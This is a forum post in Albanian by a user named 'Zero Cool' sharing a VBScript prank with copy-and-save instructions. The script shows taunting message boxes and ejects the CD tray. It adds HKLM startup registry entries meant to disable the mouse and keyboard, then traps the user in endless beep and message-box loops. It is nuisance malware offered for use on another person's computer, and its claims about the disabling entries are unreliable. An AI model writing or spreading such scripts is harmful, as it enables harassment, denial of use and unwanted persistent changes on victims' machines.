[Zero Cool]

Zanzi, u kujtova me ta bo edhe naj "t`zez" (pa sherr)

Njejt kopjoje kete ne notepad dhe ruje si test.vbs

a=Inputbox ("A je ul mir?")
MsgBox "Hey"
MsgBox "Xik! Xik :P"
MsgBox "E di qe je mirë,!"
MsgBox "A lujm pak?"
MsgBox "Mos u mërzit, veq pak lujm."
MsgBox "Tash masi e hape po lujm qy!"
a=Inputbox ("Hajt prej fillimit, si e pate emrin?"," ")
MsgBox "Haha, sa emër i smut "+a
MsgBox "A është irritant a?"
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
Set oWS = WScript.CreateObject("WScript.Shell")
do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
loop
do
msgbox "Tung!"
loop